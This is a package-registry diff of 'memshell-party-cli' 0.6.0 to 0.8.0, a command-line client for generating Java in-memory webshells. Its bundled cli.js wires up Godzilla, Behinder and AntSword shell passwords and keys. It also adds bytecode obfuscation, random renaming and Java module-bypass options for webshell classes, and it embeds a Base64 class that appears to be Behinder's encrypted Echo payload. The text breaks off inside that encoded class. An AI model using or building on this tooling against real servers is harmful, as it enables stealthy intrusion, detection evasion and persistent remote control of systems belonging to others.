memshell-party-cli 0.6.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +482 -425
- package/README.md +241 -419
- package/dist/cli.js +1192 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +128 -9
- package/dist/index.js +1293 -227
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -475
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command12, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -18,6 +18,7 @@ var MemPartyClient = class {
|
|
|
18
18
|
baseUrl;
|
|
19
19
|
fetchImpl;
|
|
20
20
|
timeoutMs;
|
|
21
|
+
generationApiVersion;
|
|
21
22
|
constructor(options) {
|
|
22
23
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
23
24
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -29,8 +30,14 @@ var MemPartyClient = class {
|
|
|
29
30
|
}
|
|
30
31
|
}
|
|
31
32
|
// ---------- config ----------
|
|
32
|
-
getServers() {
|
|
33
|
-
|
|
33
|
+
async getServers() {
|
|
34
|
+
const config = await this.getConfig();
|
|
35
|
+
return Object.fromEntries(
|
|
36
|
+
Object.entries(config).map(([server, tools]) => [
|
|
37
|
+
server,
|
|
38
|
+
[...new Set(Object.values(tools).flat())]
|
|
39
|
+
])
|
|
40
|
+
);
|
|
34
41
|
}
|
|
35
42
|
getConfig() {
|
|
36
43
|
return this.request("GET", "/api/config");
|
|
@@ -38,20 +45,68 @@ var MemPartyClient = class {
|
|
|
38
45
|
getPackerTree() {
|
|
39
46
|
return this.request("GET", "/api/config/packers/tree");
|
|
40
47
|
}
|
|
41
|
-
getPackers() {
|
|
42
|
-
|
|
48
|
+
async getPackers() {
|
|
49
|
+
try {
|
|
50
|
+
return await this.request("GET", "/api/config/packers");
|
|
51
|
+
} catch (err) {
|
|
52
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
53
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
54
|
+
}
|
|
43
55
|
}
|
|
44
|
-
getCommandConfigs() {
|
|
56
|
+
async getCommandConfigs() {
|
|
57
|
+
const configs = await this.getShellToolConfigs();
|
|
58
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
59
|
+
if (command) {
|
|
60
|
+
return {
|
|
61
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
62
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
63
|
+
};
|
|
64
|
+
}
|
|
45
65
|
return this.request("GET", "/api/config/command/configs");
|
|
46
66
|
}
|
|
67
|
+
async getShellToolConfigs() {
|
|
68
|
+
try {
|
|
69
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
70
|
+
} catch (err) {
|
|
71
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
72
|
+
throw err;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
getObfuscationOptions() {
|
|
76
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
77
|
+
}
|
|
78
|
+
async getProbeResponseServers() {
|
|
79
|
+
try {
|
|
80
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
81
|
+
} catch (err) {
|
|
82
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
83
|
+
throw err;
|
|
84
|
+
}
|
|
85
|
+
}
|
|
47
86
|
getVersion() {
|
|
48
87
|
return this.request("GET", "/api/version");
|
|
49
88
|
}
|
|
50
89
|
// ---------- generation ----------
|
|
51
|
-
generateMemShell(req) {
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
90
|
+
async generateMemShell(req) {
|
|
91
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
92
|
+
try {
|
|
93
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
94
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
95
|
+
});
|
|
96
|
+
} catch (err) {
|
|
97
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
98
|
+
throw new ApiError(
|
|
99
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
100
|
+
err.status,
|
|
101
|
+
err.url
|
|
102
|
+
);
|
|
103
|
+
}
|
|
104
|
+
throw err;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
getGenerationApiVersion() {
|
|
108
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
109
|
+
return this.generationApiVersion;
|
|
55
110
|
}
|
|
56
111
|
generateProbe(req) {
|
|
57
112
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -65,6 +120,16 @@ var MemPartyClient = class {
|
|
|
65
120
|
raw: true
|
|
66
121
|
});
|
|
67
122
|
}
|
|
123
|
+
decodeBytecode(classBase64) {
|
|
124
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
125
|
+
text: classBase64
|
|
126
|
+
});
|
|
127
|
+
}
|
|
128
|
+
transformBytecode(req) {
|
|
129
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
130
|
+
json: req
|
|
131
|
+
});
|
|
132
|
+
}
|
|
68
133
|
// ---------- transport ----------
|
|
69
134
|
async request(method, path, opts = {}) {
|
|
70
135
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -118,6 +183,26 @@ var MemPartyClient = class {
|
|
|
118
183
|
return JSON.parse(rawText);
|
|
119
184
|
}
|
|
120
185
|
};
|
|
186
|
+
function toLegacyMemShellRequest(req) {
|
|
187
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
188
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
189
|
+
return {
|
|
190
|
+
...req,
|
|
191
|
+
shellConfig: {
|
|
192
|
+
...shellConfig,
|
|
193
|
+
probe: shellConfig.probe ? true : void 0
|
|
194
|
+
},
|
|
195
|
+
shellToolConfig: {
|
|
196
|
+
...common,
|
|
197
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
198
|
+
godzillaKey: key,
|
|
199
|
+
commandParamName: paramName,
|
|
200
|
+
commandTemplate: template,
|
|
201
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
202
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
203
|
+
}
|
|
204
|
+
};
|
|
205
|
+
}
|
|
121
206
|
|
|
122
207
|
// src/core/config.ts
|
|
123
208
|
import { readFileSync } from "fs";
|
|
@@ -185,6 +270,8 @@ Examples:
|
|
|
185
270
|
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
186
271
|
$ memparty config packers # packer tree (values for gen -p)
|
|
187
272
|
$ memparty config command # Command-tool encryptors and impl classes
|
|
273
|
+
$ memparty config tool-configs # v3+ tool parameter names and enum values
|
|
274
|
+
$ memparty config obfuscation # v3+ obfuscation option reference
|
|
188
275
|
`
|
|
189
276
|
);
|
|
190
277
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
@@ -220,6 +307,31 @@ Examples:
|
|
|
220
307
|
${p.children.join(", ")}` : p.name)
|
|
221
308
|
);
|
|
222
309
|
});
|
|
310
|
+
config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
311
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
312
|
+
const configs = await client.getShellToolConfigs();
|
|
313
|
+
printJsonOrLines(
|
|
314
|
+
configs,
|
|
315
|
+
opts.json,
|
|
316
|
+
() => configs.length ? configs.flatMap((config2) => [
|
|
317
|
+
config2.tool,
|
|
318
|
+
...config2.params.map(
|
|
319
|
+
(param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
|
|
320
|
+
)
|
|
321
|
+
]) : ["No v3 shell-tool config endpoint on this backend."]
|
|
322
|
+
);
|
|
323
|
+
});
|
|
324
|
+
config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
325
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
326
|
+
const options = await client.getObfuscationOptions();
|
|
327
|
+
printJsonOrLines(
|
|
328
|
+
options,
|
|
329
|
+
opts.json,
|
|
330
|
+
() => options.map(
|
|
331
|
+
(option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
|
|
332
|
+
)
|
|
333
|
+
);
|
|
334
|
+
});
|
|
223
335
|
config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
224
336
|
const client = createClient(cmd.optsWithGlobals());
|
|
225
337
|
const cc = await client.getCommandConfigs();
|
|
@@ -230,9 +342,160 @@ Examples:
|
|
|
230
342
|
});
|
|
231
343
|
}
|
|
232
344
|
|
|
233
|
-
// src/commands/
|
|
345
|
+
// src/commands/bytecode.ts
|
|
346
|
+
import { readFileSync as readFileSync2 } from "fs";
|
|
234
347
|
import { Option } from "commander";
|
|
235
348
|
|
|
349
|
+
// src/core/output.ts
|
|
350
|
+
import { writeFileSync } from "fs";
|
|
351
|
+
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
352
|
+
function hasBinaryExtension(path) {
|
|
353
|
+
const lower = path.toLowerCase();
|
|
354
|
+
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
355
|
+
}
|
|
356
|
+
function shouldDecode(opts) {
|
|
357
|
+
if (opts.decode !== void 0) return opts.decode;
|
|
358
|
+
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
359
|
+
return false;
|
|
360
|
+
}
|
|
361
|
+
function emitPayload(payload, opts, sinks = {}) {
|
|
362
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
|
|
363
|
+
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
364
|
+
const decoded = shouldDecode(opts);
|
|
365
|
+
if (opts.outFile) {
|
|
366
|
+
if (decoded) {
|
|
367
|
+
const buf = Buffer.from(payload, "base64");
|
|
368
|
+
writeFile(opts.outFile, buf);
|
|
369
|
+
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
370
|
+
}
|
|
371
|
+
writeFile(opts.outFile, payload);
|
|
372
|
+
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
373
|
+
}
|
|
374
|
+
if (decoded) {
|
|
375
|
+
const buf = Buffer.from(payload, "base64");
|
|
376
|
+
writeStdout(buf.toString("binary"));
|
|
377
|
+
return { destination: "stdout", size: buf.length, decoded: true };
|
|
378
|
+
}
|
|
379
|
+
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
380
|
+
`);
|
|
381
|
+
return { destination: "stdout", size: payload.length, decoded: false };
|
|
382
|
+
}
|
|
383
|
+
function hasMultiplePackResults(r) {
|
|
384
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
385
|
+
}
|
|
386
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
387
|
+
if (hasMultiplePackResults(r)) {
|
|
388
|
+
const n = Object.keys(r.allPackResults).length;
|
|
389
|
+
throw new Error(
|
|
390
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
391
|
+
);
|
|
392
|
+
}
|
|
393
|
+
if (r.packResult === void 0) {
|
|
394
|
+
throw new Error("Server returned no packResult.");
|
|
395
|
+
}
|
|
396
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
// src/core/obfuscation.ts
|
|
400
|
+
function parseObfuscationOptions(input3) {
|
|
401
|
+
if (input3 === void 0 || input3.trim() === "") return void 0;
|
|
402
|
+
const options = {};
|
|
403
|
+
for (const entry of input3.split(/[,\n]/)) {
|
|
404
|
+
const separator = entry.indexOf("=");
|
|
405
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
406
|
+
if (separator < 0 || key === "") {
|
|
407
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
408
|
+
}
|
|
409
|
+
if (Object.hasOwn(options, key)) {
|
|
410
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
411
|
+
}
|
|
412
|
+
const value = entry.slice(separator + 1).trim();
|
|
413
|
+
if (value === "true" || value === "false") {
|
|
414
|
+
options[key] = value === "true";
|
|
415
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
416
|
+
options[key] = Number(value);
|
|
417
|
+
} else {
|
|
418
|
+
options[key] = value;
|
|
419
|
+
}
|
|
420
|
+
}
|
|
421
|
+
return options;
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
// src/commands/bytecode.ts
|
|
425
|
+
function classInput(base64, file) {
|
|
426
|
+
if (file !== void 0 && base64 !== void 0) {
|
|
427
|
+
throw new Error("Pass either a Base64 argument or --file, not both.");
|
|
428
|
+
}
|
|
429
|
+
if (file !== void 0) return readFileSync2(file).toString("base64");
|
|
430
|
+
if (base64 !== void 0) return base64;
|
|
431
|
+
if (process.stdin.isTTY) {
|
|
432
|
+
throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
|
|
433
|
+
}
|
|
434
|
+
return readFileSync2(0, "utf8");
|
|
435
|
+
}
|
|
436
|
+
function buildBytecodeTransformRequest(base64, opts) {
|
|
437
|
+
const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
|
|
438
|
+
if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
|
|
439
|
+
throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
|
|
440
|
+
}
|
|
441
|
+
const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
|
|
442
|
+
return {
|
|
443
|
+
classBytesBase64: base64,
|
|
444
|
+
...opts.packer === void 0 ? {} : { packer: opts.packer },
|
|
445
|
+
...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
|
|
446
|
+
...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
|
|
447
|
+
...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
|
|
448
|
+
...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
|
|
449
|
+
...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
|
|
450
|
+
...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
|
|
451
|
+
...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
|
|
452
|
+
...obfuscation === void 0 ? {} : { obfuscation },
|
|
453
|
+
...opts.probeMethod === void 0 ? {} : {
|
|
454
|
+
server: opts.server ?? "Unknown",
|
|
455
|
+
probe: {
|
|
456
|
+
probeMethod: opts.probeMethod,
|
|
457
|
+
probeContent: "Bytecode",
|
|
458
|
+
respHeaderName: opts.respHeaderName
|
|
459
|
+
}
|
|
460
|
+
}
|
|
461
|
+
};
|
|
462
|
+
}
|
|
463
|
+
function registerBytecodeCommand(program) {
|
|
464
|
+
const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
|
|
465
|
+
command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
|
|
466
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
467
|
+
const result = await client.decodeBytecode(classInput(base64, opts.file));
|
|
468
|
+
if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
469
|
+
`);
|
|
470
|
+
else process.stdout.write(`${result.className} (${result.size} bytes)
|
|
471
|
+
${result.classBytesBase64Str}
|
|
472
|
+
`);
|
|
473
|
+
});
|
|
474
|
+
command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
|
|
475
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
476
|
+
const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
|
|
477
|
+
const result = await client.transformBytecode(request);
|
|
478
|
+
const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
|
|
479
|
+
if (opts.json) {
|
|
480
|
+
process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
|
|
481
|
+
`);
|
|
482
|
+
return;
|
|
483
|
+
}
|
|
484
|
+
logInfo(`class: ${result.className} (${result.size} bytes)`);
|
|
485
|
+
if (outputFile !== void 0) {
|
|
486
|
+
logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
|
|
487
|
+
} else if (result.packResult !== void 0) {
|
|
488
|
+
emitSinglePackResult(result, {});
|
|
489
|
+
} else {
|
|
490
|
+
process.stdout.write(`${result.classBytesBase64Str}
|
|
491
|
+
`);
|
|
492
|
+
}
|
|
493
|
+
});
|
|
494
|
+
}
|
|
495
|
+
|
|
496
|
+
// src/commands/connect.ts
|
|
497
|
+
import { Option as Option2 } from "commander";
|
|
498
|
+
|
|
236
499
|
// src/connect/assets.ts
|
|
237
500
|
var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAYQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwABsQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIGuQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kDKiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEvTiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70A